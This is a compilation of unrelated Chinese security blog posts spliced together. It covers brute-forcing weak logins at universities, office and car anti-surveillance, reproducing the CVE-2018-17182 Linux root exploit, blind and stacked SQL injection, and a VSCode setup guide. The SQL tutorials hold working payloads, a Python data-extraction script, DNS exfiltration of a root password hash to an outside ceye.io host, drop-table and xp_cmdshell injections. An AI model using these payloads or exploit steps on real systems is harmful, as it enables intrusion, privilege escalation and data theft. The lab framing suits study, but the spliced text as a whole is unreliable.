其实本案例也可以算为druid未授权,但是这个是有那个登录的,但是我输入用户名后,点了登录就进入了. 6.前端页面中给出密码 给脸账号密码(直接进入页面,页面中就写着账号和密码)或是前台HTML页面的信息中含有账号密码(我遇到过很多) 案例7:西安某大学 直接在前端页面中显示账号密码,然后我提交后说是修复了,直接注释掉,其实还是在前端的页面中. 7.不需要登录的空口令 在某些页面会存专家登录,或是给一些通过审核的专家进行登录的,所以直接点击专家登录后就会以专家身份进入页面了. 案例8:某济大学 也是通过信息收集收集到的平台,然后点击专家登录就会以专家的身份直接进入后台 暴力破解类型总结 这里我不会写的很详细,因为会的会操作,不会的不会因为看了我的操作就学会,这个需要长期的打靶和实战慢慢熟练,因为一旦爆破就会存在IP被扳的风险,而且爆破是一种很吃前期信息收集的一种方式,而不是拿着字典盲目爆破,并且很多网站都上了限制次数,需要通过切换ip或用户进行爆破 1.直接爆破 案例9:武汉某大学 这里也是在信息收集时发现了这个页面后,有个操作手册,这不就对应上了弱口令中操作手册收集,都直接给出了,那么直接收集账号就可以了,发现学号和身份证都可以,收集学号比较好搞,那就直接收集学号, 默认密码为111111,直接密码不变,然后将收集的学号进行尝试就可以了,当然因为这里有验证码,我是通过一个验证码识别,然后进行切换学号进行枚举,最后找出可以登录的学号,这种方式也是在打点中最快和获取登录用户的便捷方式. 2.验证码绕过 这里因为时间比较长了,之前的数据包也没有了,就用了打靶场的案例包进行分析,进入页面后抓包,然后输入正确的验证码后,不刷新页面,验证码就会一直存在,然后直接爆破就可以绕过验证码了 案例10:某中学 当然这个案例也算是非常有意思,除了出现了上面介绍的验证码绕过,存在了弱口令,而且还存在了万能验证码四个000,也就是开发在进行测试时设置的方便登录的验证码,结果完成后忘记删除造成的结果. 总结 对这两个月碰到的一些弱口令漏洞与暴力破解漏洞做一个总结,适合小白来做学习使用,也开始告别这段学习和测试之路,开始朝着代码审计努力.
  16. 声明:本文主要为RC²反窃密实验室研究成果分享,仅供交流与参考。 0x01 为什么要检测办公室? 对于绝大多数高管而言,办公室显然是私密交流的主要场所,交谈频率远超过了会议室和咖啡厅。 毕竟,理论上, 它是确保人们能在公司角落敞开发牢骚的保障地。 它是两三个人喝着茶吃着零食讨论公司业务的避风港。 是公司明争暗斗是是非非的一个见证地。 这么一个既开放又私密的房间,你说重要不重要? 0x02 办公室窃密真实案例 发生在办公室的故事,那可就多了。 2019年5月30日晚23时左右,甲乙丙丁所有高管收到了一封匿名邮件(该邮件并未发送给COO),邮件中附带一段被剪辑的音频。 在相关技术产品的人员帮助下,发现这段音频是由至少6-7段COO的谈话内容剪辑而成。音质清晰,是被录音窃听后合成的,时间跨度约为2019年1月至2019年4月,历时长达三个月。 这三个月窃听剪辑而成的音频,只截取了COO个人的讲话片段,无上下文,无与COO对话人的讲话内容。 而实际上,COO的办公室外就是员工的工位,外面还有前台,园区也有保安,要实现这个窃听需要里应外合才能实现。 那么,又是谁在监听COO的办公室谈话内容?这留下了不少悬念。 具体的例子不太方便举,大家看一则新闻。 所以,在办公室里安装针孔,到底是什么目的呢? 固话/座机的非法窃听,也一直是商业间谍、企业内鬼、恶意调查公司、非政府组织、国际犯罪团伙等所使用的主要手段之一。 0x03 办公室的小物件才最麻烦 很多人压根想不到,一个高管的办公室里,会有多少小物件? 仅仅看办公桌,小的物件就包括: 蓝牙鼠标、计算器、无线键盘、公仔、台历、电子钟、抽纸盒、电源线、手机充电头、充电线、插线板等等。 更不用说那些在书架上堆放着各类祈福摆件、公仔和文玩的复杂环境。 正如我们在L2商业安全课程中给学员准备的模拟场景一样,学员小组需要在指定时间内,对一小批办公室内常见物件开展X光机透检,找出存在窃密器材的物件。 如下图是典型的窃密鼠标,内置了微型SIM卡电路,一旦放进办公室,窃密者就可以像拨打电话一样,随时随地从远程窃听。 在上图的透检图片上,可以清晰地看到有个小型电路板,与下方电路彼此独立。 而这个透检实验,就是为了加深学员对办公室安全的概念。所有参与过课程的学员,都会被这些真实的器材所震惊。 PS:自这项实验科目开设以来,几乎没有小组得过满分 看看这个安装了窃听器材的灯泡,若不是全面开展TSCM专业检测,怎么可能会发现? 所以,普通人仅仅想从物品外观上看出有问题,实在太难了。 0x04 企业该怎么做? 对于企业,解决办公室安全风险,最好的办法只有2个: 很简单的道理: 很多需要人牢记的知识,不是仅仅看一遍书本就会记住。 重要的安全习惯和意识,也不是简单地听一遍就能牢记。 唯有亲身经历实战性质的体验,才会形成可靠的记忆。 对于非常重视安全的企业,也很有必要成立一个常态化机制:对高管办公室等高密级环境开展定期检测,包括对新购置设备开展检测等。 在当前的国际形势下,对于任何大型企业来说,内部安全与稳定都非常重要。 但若是并不清楚自己的实际需求,建议不要急着去采购设备。一般而言,急忙采购的设备很可能会并不适用,也同样建议先通过参加培训,来评估下可能面临的风险后再做打算。 0x05 最后 说起来挺有趣,因为“华强北”的威名,国内很多器材曝光度最高的地区都源自广东 但这些年根据不同渠道的反馈,广东很多企业及高管群体,在“商业安全概念”上,却出现了明显的两极分化: 有的人非常有商业反窃密意识,有的人却完全没概念?
  17. 0x01 漏洞前言 Google Project Zero的网络安全研究人员发布了详细信息,并针对自内核版本3.16到4.18.8以来Linux内核中存在的高严重性漏洞的概念验证(PoC)漏洞利用。由白帽黑客Jann Horn发现,内核漏洞(CVE-2018-17182)是Linux内存管理子系统中的缓存失效错误,导致释放后使用漏洞,如果被利用,可能允许攻击者获得根权限目标系统上的特权。免费使用后(UAF)漏洞是一类内存损坏错误,非特权用户可利用这些错误来破坏或更改内存中的数据,从而导致拒绝服务(系统崩溃)或升级权限以获得管理权限访问系统Linux的内核漏洞于9月18日在OSS-安全邮件列表中公开,并在第二天在上游支持的稳定内核版本4.18.9,4.14.71,4.9.128和4.4.157中进行了修补。在58年3月16日版本中也有一个修复程序。为版本4.15.0-34.37的Ubuntu 18.04,内核linux-image-4.15.0-34-generic附加了一个丑陋的漏洞。它需(40min~1hour)在弹出root shell之前运行。 0x02 漏洞影响版本 Linux kernel 4.18.8及之前版本 0x03 漏洞复现 1. 本次复现环境:ubuntu18.04*64 内核版本:linux-image-4.15.0-34-generic 2. 添加更新源 sudo vi /etc/apt/sources.list deb-src https://mirrors.tuna.tsinghua.edu.cn/help/ubuntu/ main restricted 3. 更新操作系统 sudo apt-get update 4. 更新操作系统 sudo apt-get dist-upgrade 5. 安装GCC和G++ sudo apt-get install gcc sudo apt-get install g++ 6.新建一个test账号 7.下载利用exp git clone https://github.com/backlion/CVE-2018-17182.git 8.进入到vmacache目录,删除已编译好的文件。 rm puppet puppeteer suidhelper 9.通过运行compile.sh进行编译,当前目录下会生成三个二进制文件分别为:puppet, puppeteer,suidhelper 10.然后切换到普通用户权限test: 11.执行二进制提权文件puppeteer,大约需要等1到1个半小时,最终看到从test权限提升为root权限。 0x04漏洞修复建议 目前厂商已发布升级补丁以修复漏洞,补丁获取链接: http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=7a9cdebdcc17e426fb5287e4a82db1dfe86339b2
  18. 0x00 延迟注入定义 延迟注入,是一种盲注的手法, 提交对执行时间铭感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的高级盲注.SQLMAP、穿山甲、胡萝卜等主流注入工具可能检测不出,只能手工检测,利用脚本程序跑出结果。 0x01 延迟注入的函数 sleep() //延迟函数 if(condition,true,false) //条件语句 ascii() //转换成ascii码 substring("string",strart,length) //mid()也一样,取出字符串里的第几位开始,长度多少的字符 If表达式:IF(expr1,expr2,expr3) 如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3 Mid函数:MID(column_name,start[,length]) column_name 必需。要提取字符的字段。 start 必需。规定开始位置(起始值是 1)。 length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。 延时注入的原理就是,所要爆的信息的ascii码正确时,产生延时,否则不延时 0x02 延迟注入实列 1.含有时间延迟注入代码 yanchi.php: <?php header("Content-type:text/html;charset=utf8"); $link = mysql_connect("localhost", "root","root"); mysql_select_db("mysql", $link); mysql_set_charset("utf8"); $sql = "SELECT user FROM user where user='{$_GET['username']}'"; echo $sql; $query = mysql_query($sql); echo "this is a time blode "; ?> 2手工检查延迟注入 http://10.0.0.21/yanci.php?username=root' and sleep(5)%23 或者 http://10.0.0.21/yanci.php?username=root' and sleep(5) and 'xRsl'='xRsl# 或者 http://10.0.0.21/yanci.php?username=root' and If(ascii(substr(database(),1,1))=114,1,sleep(5))# 如果有注入,则延迟时间很长: 3.通过python脚本来跑(这里跑出用户名) #!/usr/bin/env python # -*- coding: utf-8 -*- import urllib2 import time import socket import threading import requests class my_threading(threading.Thread): def __init__(self, str,x): threading.Thread.__init__(self) self.str = str self.x = x def run(self): global res x=self.x j = self.str url = "http://10.0.0.21/yanci.php?username=root'+and+if%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29," + str(x) + ",1%29%29%29,8,0%29,"+ str(j) + ",1%29%29,sleep%282%29,0%29%23" html = request(url) verify = 'timeout' if verify not in html: res[str(j)] = 0 #print 1 else: res[str(j)] = 1 def request(URL): user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' } req = urllib2.Request(URL, None, user_agent) try: request = urllib2.urlopen(req,timeout=2) except Exception ,e: time.sleep(2) return 'timeout' return request.read() def curl(url): try: start = time.clock() requests.get(url) end = time.clock() return int(end) except requests.RequestException as e: print u"errory!" exit() def getLength(): i = 0 while True: print "[+] Checking: %s \r" %i url = "http://10.0.0.21/yanci.php?username=root'+and+sleep(if(length((select%20user()))="+ str(i) +",1,0))%23" html = request(url) verify = 'timeout' if verify in html: print "[+] leng: %s" %i return i i = i + 1 def bin2dec(string_num): return int(string_num, 2) def getData(dataLength): global res data = "" for x in range(dataLength): x = x + 1 #print x threads = [] for j in range(8): result = "" j = j + 1 sb = my_threading(j,x) sb.setDaemon(True) threads.append(sb) #print j for t in threads: t.start() for t in threads: t.join() #print res tmp = "" for i in range(8): tmp = tmp + str(res[str(i+1)]) #print chr(bin2dec(tmp)) res = {} result = chr(bin2dec(tmp)) print result data = data + result sb = None print "[+] ok!" print "[+] result:" + data if __name__ == '__main__': stop = False res = {} length = getLength() getData(length) 4. sqlmap进行延迟注入 sqlmap.py -r q1.txt --dbms=mysql --time-sec=5 5.通过DNS LOG 日志记录来注入时间盲注 (1)获取用户名root的密码 http://10.0.0.21/yanci.php?username=root' and if((SELECT LOAD_FILE(CONCAT('\\\\',(SELECT concat(user,'_',mid(password,2,41)) from user where user='root' limit 1),'.89mxv7.ceye.io\\foobar'))),1,1)# (2)dns log记录为: 这里利用用http://ceye.io的DNS记录来注入 (3)获取用户名root密码的十六进值 http://10.0.0.21/yanci.php?username=root' and if((SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.89mxv7.ceye.io\\foobar'))),1,1)# dns记录为: (4)通过小葵工具查询得知:
  19. 一般来说,可能会使用车辆GPS跟踪设备的群体,主要有以下几类: 1)企业/上市公司的商业竞争对手 2)同一家企业/公司的中高层 3)家庭纠纷/婚姻/两性问题的其中一方 4)媒体暗访 5)欺诈/绑架等心怀恶意目的人员 6)政府机构/相关部门的秘密调查 7)娱乐圈的绯闻记者 8)黑吃黑其中,就真实案例而言,以1、2、3方面的情况最多。当然,新闻报道上也常能看到5和7的情形。所以,如何保护自己,如何防范可能的非法或者恶意行为,经常性地检查自家车辆会是一个非常好的习惯。下面杨叔会仔细讲述下私家车的标准检查步骤,至于大型或特种车辆在主体方法上类似,只是细节上会有所不同。OK,那我们开始吧...... Part1 外部检查步骤1:准备好手电和自己的车辆使用手册。 是的,你只需要这两样东西。强调下,虽然目前市面较多的GPS追踪器外型都是一个体积较大的带磁吸的盒子,但注意并不是所有的设备都会这么明显。 甚至在某些情况下,唯一能够识别追踪器的途径可能仅仅是条不合适的电线。在开始自检前,一定要强调的是:除非你非常熟悉自己的车,否则请勿轻易自行手动拆除车辆的重要部件。 步骤2:检查车底盘。 如果没有车辆维修专用的修理槽,可以背朝下滑入车底,用手电检查车底盘。大多数跟踪器需要链接到GPS卫星信号,所以一般不会在车底部有较厚金属阻隔的区域。仔细观察并寻找有无可疑的盒状物体或天线,给些小建议: 步骤3:检查车轮口和轮辋凹区。 检查每个车轮的塑料防护罩/挡泥板,特别是感觉松动或弯曲的地方。默认情况下车辆在这个位置不会有任何外置设备,所以若是有跟踪器,那都应该是很容易观察到的。 步骤4:检查前后保险杠。 前后保险杠是放置追踪器的一个常见位置,在保险杠内部及前后仔细检查任何可疑的物件。 步骤5:检查车顶。 一般不太可能,不过存在下述两种情况下时应当检查: 步骤6:最后看看发动机罩。 通常老司机们自己都会定期检查汽车的前部发动机罩区域,加上高温、导热的金属壳体,一般而言跟踪器很难会部署到这里。不过也不一定,某些偏执狂也许会这样做。 Part2 内部检查步骤1:检查车里的内饰。 如果可能,拆开座椅(包括头枕部分),查看任何可移动的部件。这个地方其实是检查时极难发现的区域,所需部署技巧极高,所以也是一般人根本不会想到的地方之一。 步骤2:检查座椅底部和地垫下面。 把手电观察座椅的底部。请注意,某些高配版车辆前排座位内置的加热部件可能会有外露,不要误认为是跟踪设备(汗......拆坏了找4S店,不要找杨叔-_-|||)。仔细比较两个前座的外观,找出异常情况。 步骤3:检查仪表板/面板及下方脚踏区域。 对于大多数车辆,都可以拆下手套箱隔间,再拆下方向盘下方的面板。检查所有的电线(包括ODB接口),查看是否存在松散的电线,尤其是贴合度较差或粘贴依附在其他电线上的,若发现应尽可能追溯到其源头。注意包括油门、离合和刹车后面。 步骤4:检查车辆尾部。 牢记一点:大多数跟踪器不能穿透金属接收信号。在检查后备箱之前,重点关注车辆后窗下的区域,必要时应拆下备胎(无论是挂在车屁股上的,还是在后备箱底板下面的那个)做彻底检查。 Part3 进阶检查步骤1:聘请专业人士 如果按照上述步骤没有找到一个跟踪器材,那么理论上而言应该是相对安全的。如果你仍然不能释疑,也可以雇用专业人士做深度细致的检查。建议选择下列专业人士: 步骤2:使用检测设备扫描车辆。 手持式检测设备可以较为精确地定位GPS追踪设备。 当然,如果愿意支付一些服务费用,也可以由专业安防公司提供更好的解决方案及产品。 步骤3:参加“商业反窃密”专项培训。 和所有行业一样,解决方案和设备只能解决当前的问题,并不能完全杜绝以后的威胁和疏忽。关键的因素始终是人,所以,提高企业管理层及核心人员的反窃密意识更为重要。在这个飞速发展却又物欲横流的世界,飞到地球另一边也只需要10个小时,花上1~2天耐心学习下如何保护商业机密和个人隐私,才对得起曾经那么多的拼搏和心血付出。 不同Level课程包含数十个技术面,远不限于以下内容:
  20. 0x00 堆叠注入定义 Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。 0x01 堆叠注入原理 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。 0x02 堆叠注入的局限性 堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。 此图是从原文中截取过来的,因为我个人的测试环境是php+mysql,是可以执行的,此处对于mysql/php存在质疑。但个人估计原文作者可能与我的版本的不同的原因。虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。 0x03 各个数据库实例介绍 本节我们从常用数据库角度出发,介绍几个类型的数据库的相关用法。数据库的基本操作,增删查改。以下列出数据库相关堆叠注入的基本操作。 1.Mysql (1)新建一表 select * from users where id=1;create table test like users; 执行成功,我们再去看一下是否新建成功表。 (2)删除上面新建的test表 select * from users where id=1;drop table test; (3)查询数据 select * from users where id=1;select 1,2,3; (4)加载文件 select * from users where id=1;select load_file('c:/tmpupbbn.php'); (4) 修改数据 select * from users where id=1;insert into users(id,username,password) values ('100','new','new'); 2. Sql server (1)增加数据表 select * from test;create table sc3(ss CHAR(8)); (2) 删除数据表 select * from test;drop table sc3; (4)查询数据 select 1,2,3;select * from test; (5)修改数据 select * from test;update test set name='test' where id=3; (5)sqlserver中最为重要的存储过程的执行 select * from test where id=1;exec master..xp_cmdshell 'ipconfig' 3.Oracle 上面的介绍中我们已经提及,oracle不能使用堆叠注入,可以从图中看到,当有两条语句在同一行时,直接报错。无效字符。后面的就不往下继续尝试了。 4.Postgresql (1)新建一个表 select * from user_test;create table user_data(id DATE); 可以看到user_data表已经建好。 (2)删除上面新建的user_data表 select * from user_test;delete from user_data; (3)查询数据 select * from user_test;select 1,2,3; (4) 修改数据 select * from user_test;update user_test set name='modify' where name='张三'; 0x04 堆叠注入之sqllaps实列 1.Less-38 堆叠注入 - 字符型 - GET (1)源代码 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; (2)测试 ?id=1’;insert into users(id,username,password) values (‘38’,’less38’,’hello’)–+ mysql> select * from users; +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2| admin2 | | 11 | admin3| admin3 | | 12 | dhakkan| dumbo | | 14 | admin4| admin4 | | 38 | less38| hello | +----+----------+------------+ 14 rows in set (0.00 sec) 发现已经添加了一个 less38 用户 ?id=1’;create table less38 like users; ?id=1’;drop table less38; 2.Less-39 堆叠注入 - 整型 - GET (1)源代码 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; (2)测试 ?id=1;insert into users(id,username,password) values (‘39’,’less39’,’hello’)–- mysql> select * from users; +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2| admin2 | | 11 | admin3| admin3 | | 12 | dhakkan| dumbo | | 14 | admin4| admin4 | | 38 | less38| hello | | 39 | less39| hello | +----+----------+------------+ 15 rows in set (0.00 sec) 可以看到已经添加了 less39 用户了 ?id=1;create table less39 like users; ?id=1;drop table less39; 3.Less-40 盲注 - 堆叠注入 - 字符型 - GET (1)源代码 $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; (2)测试 ?id=1’); insert into users(id,username,password) values (‘40’,’less40’,’hello’)–+ mysql> select * from users; +-----+----------+------------+ | id | username | password | +-----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | | 38 | less38 | hello | | 39 | less39 | hello | | 109 | hello| hello | | 40 | less40 | hello | +-----+----------+------------+ 17 rows in set (0.00 sec) 看到添加了 less40 用户 ?id=1’);create table less40 like users; ?id=1’);drop table less40; 4.Less-41 盲注 - 堆叠注入 - 整型 - GET (1)源代码 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; (2)测试(盲注) 创建users表和增加字段值 ?id=1; insert into users(id,username,password) values (‘110’,’less41’,’hello’)–+ mysql> select * from users; +-----+----------+------------+ | id | username | password | +-----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | | 38 | less38 | hello | | 39 | less39 | hello | | 109 | hello| hello | | 40 | less40 | hello | | 110 | less41| hello | +-----+----------+------------+ 18 rows in set (0.00 sec) 添加了用户 less41 ?id=1;create table less41 like users; //增加表 ?id=1;drop table less41; //删除表 5.Less-42 报错型堆叠注入 - 字符型 - POST (1)源代码(login.php): $username = mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"]; $sql = "SELECT * FROM users WHERE username='$username' and password='$password'"; Password 变量在post 过程中,没有通过 mysql_real_escape_string() 函数的处理。因此在登录的时候密码选项我们可以进行 attack。 (2)报错测试 测试语句: username:任意 password : c';drop table me# # 删除 me 表 或者: username:任意 password : c';create table me like users# // 创建一个 me 表 登录之前查看表: mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails| | referers| | uagents| | users| +--------------------+ 4 rows in set (0.00 sec) 登录前创建表 username :admin password : c';create table less42 like users# 登录后查看创建表 mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails| | less42| | referers| | uagents| | users| +--------------------+ 5 rows in set (0.00 sec) 发现添加了一个 less42 表,登录时构造的 sql 语句为: SELECT * FROM users WHERE username=’admin’ and password=’c’;create table less42 like users–+ //利用 c’;drop table me#作为登录密码,删除该表。 登录前删除表 username: admin password : c’;drop table less42# 登录后查看删除表 mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails| | referers| | uagents| | users| +--------------------+ 4 rows in set (0.00 sec) 6.Less-43 报错型 - 堆叠注入 - 字符型 - POST (1)源代码 $username = mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"]; $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')"; (2)测试 登录前测创建表 username : admin password: c');create table less43 like users# 登录后查看增加表 mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails| | less43| | referers| | uagents| | users| +--------------------+ 5 rows in set (0.00 sec) 登录前测试删除表 username :admin password : c');drop table less43# 登录后查看删除表 mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails| | referers| | uagents| | users| +--------------------+ 4 rows in set (0.00 sec) 6.Less-44 盲注 - 堆叠注入 - 字符型 - POST (1)源代码 username=mysqlirealescapestring(username=mysqlirealescapestring(con1, POST[“loginuser”]);POST[“loginuser”]); password = POST[“loginpassword”];POST[“loginpassword”]; sql = "SELECT * FROM users WHERE username='username′andpassword=′username′andpassword=′password’”; (2)测试(盲注) 登录前测试插入表和值 username : admin password : a';insert into users(id,username,password) values ('144','less44','hello')# 登录后查看增加表和值 mysql> select * from users; +-----+----------+------------+ | id | username | password | +-----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | | 38 | less38 | hello | | 39 | less39 | hello | | 109 | hello| hello | | 40 | less40 | hello | | 110 | less41| hello | | 144 | less44| hello | +-----+----------+------------+ 19 rows in set (0.00 sec) 7.Less-45 报错型堆叠注入 - 字符型 - POST (1)源代码 $username = mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"]; $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')"; (2)测试 登录前测试增加表 username : admin password : c');create table less45 like users# //创建了less45表 登录后查看增加表 mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails| | less45| | referers| | uagents| | users| +--------------------+ 5 rows in set (0.00 sec) 登录前测试删除表 username: admin password : c');drop table less45# 登录后查看删除表 mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails| | referers| | uagents| | users| +--------------------+ 4 rows in set (0.00 sec)
  21. 前言 Editor : ZZULI-Frex PDF版:可下载预览 (建议在电脑上查看) 1.所需知识: (1).最基本的网页信息捕获以及文件下载。(点击链接即可进入都是在新窗口打开) (2).了解系统环境变量的作用以及如何添加环境变量。 2.所需网站: (1)www.sourceforge.net/projects/mingw-w64/files/mingw-w64/ (MinGw-W64库) (2)https://code.visualstudio.com/ (Vistual Studio Code官网) (3)https://up.woozooo.com/ (蓝奏云) 3.教程使用平台: Windows11 Pro x64 – VMware Workstation 17 Pro 4.推荐使用平台: Windows10 Pro x64 Windows11 Pro x64 Windows11 Home x64 1.下载、安装MinGw-W64并配置环境变量 1.进入MinGw官网,下拉找到“MinGW-W64 GCC-8.1.0”栏目下面的“x86_64-win32-seh”并点击,之后会进入 第二个界面,等待倒计时结束,会自动开始下载。 如果下载速度过慢或者无法进入该网页,请移步此处下载:https://frexcheat.lanzoul.com/iI2cN1boa2xc 密码:5ifb 2.下载完成后,将压缩包解压到你想要解压到的地方,这里我解压到了C盘,其他地方也可以,只要自己记得就好。之后你可以选择将解压后的文件夹重命名为短一点的名字:如”MinGW64″,其他的也可以,但是你要确保整个路径里没有中文!!!这个最重要!!! 3.之后,记住你的解压路径,比如我解压到了”C:\mingw64″,然后我们开始配置环境变量 2.下载、安装MinGw-W64并配置环境变量 4.之后找到我们刚才安装MinGW的文件夹,进入”bin”文件夹之后,复制窗口上方地址栏里的文件路径。进入编辑页面后,我们点击右边的”新建”按钮,之后将我们刚才复制的路径复制进去即可,之后一路确定就可以了。 3.下载、安装Vistual Studio Code并进行简单的设置(界面、语言等) 1.进入Vistual Studio Code官网,按照图示下载VSCODE安装包,进入下载页面等待几秒钟后会自动开始下载,如果发现VSCODE官网无法进入,你可以选择用机场(翻墙),或者使用我提供的安装包: https://frexcheat.lanzoul.com/iVELz1bpvtjc 密码:858s 如下图所示,点击下载按钮后会进入此界面,等待几秒后会自动开始下载安装包。 在此期间,可能会受到网络因素的影响导致等待时间不一 2.拿到安装包后,我们双击打开(最好以管理员身份运行),之后如果出现了如下图所示的警告弹窗,请直接点击确定即可。 3.之后点击”我同意此协议”,再点击”下一步”,紧接着我们选择安装路径,这里推荐各位安装在空间充足的磁盘上,不建议安装在C盘,之后点击”下一步”。 4.之后的界面里,图中所指的两项可选可不选,这里我推荐选上,它的作用到后面你就知道了。之后点击下一步,等待安装完成之后,点击”完成”即可。 5.下面我们开始进行简单的设置,首先我们打开VSCODE,首次进入会让我们选择主题,我们在右侧选择我们喜欢的主题颜色后,在左侧拉到最下面点击”Next Section”,之后一直在左侧拉到最下面点击”Next Section”,直到只剩下一个”Makedone”后,我们点击”Make done”即可 6.下面我们把界面语言修改为中文简体,首先我们找到第一张图中界面右侧的那个图标,点击之后,我们在上方的搜索栏里搜索”Chinese”,可以看到下面出现了一个”中文简体”的拓展包,我们点击”Install”等待它安装完成,之后会弹出一个让你重启VSCODE的提示框,我们点击即可。之后我们的初始设置就到此结束了 4.下载、安装所需要的插件拓展并进行配置 1.首先我们需要知道,VSCODE仅仅只是一个代码编辑器,而不是一个非常完备的IDE,所以,它需要各种语言的插件来支持我们编写我们所需要的语言的代码。这里我们主要以C/C++语言为例子,来对VSCODE进行环境配置。 我们需要的插件有:C\C++、C\C++ Extension Pack、Code Runner 分别搜索到之后点击”安装”即可。之后重启VSCODE 5.创建一个新文件,并进行简单的运行和调试 1.首先,我们需要创建一个新的文件夹,这个文件夹用来存放我们的代码,文件夹的路径中不要出现中文!接着我们在VSCODE的启动界面中点击”打开文件夹”,图中两处均可。 3.之后我们点击第二个小图标,新建一个名字为”.vscode”的文件夹,该文件夹下的文件为与该项目程序运行相关的配置文件,即这些文件将会记录我们的代码以什么编译器编译,以及以什么调试器运行,这些文件非常重要,它们是程序运行的基础,我们需要配置好它们的内容。 首先我们点击界面上方的”运行”,然后点击”添加配置”,之后我们会发现它会自动生成”launch.json”文件,然后我们选择”test.c”文件,点击右上角的三角标识右边的小三角标识,选择”运行C\C++文件”,之后在界面上方我们会发现弹出一个窗口让我们选择编译器,我们选择gcc,之后会出现错误,我们点击”中止”即可,然后我们会发现它生成了一个”tasks.json”的文件,接下来我们点击”终端-运行生成任务”之后就可以开始敲代码了! 6.创建一个新文件,并进行简单的运行和调试 4.几经波折,我们终于可以开始敲代码了,下面我以简单的空心菱形为例,来运行一个程序。 首先我们先写好输出空心菱形的代码到test.c里,之后我们找到右上角的三角图标,再点击它里面的”运行C\C++文件”,之后我们在下面的终端里输入数字n,回车即可看到输出的结果。 5.我们还可以选择”Run Code”来运行我们的代码,这个是Code Runner这个插件的功能。首先我们找到拓展里面的这个插件,右键选择拓展设置,将图中所指的选项打勾,之后就可以选择它来编译运行了。 6.下面我们进行一个简单的调试:这里我不再解释”断点”的意思,你只需要知道你在某一行代码上设置了断点,那么当你调试运行程序的时候,程序运行到这行代码时会自动暂停,并且显示当前变量的信息。 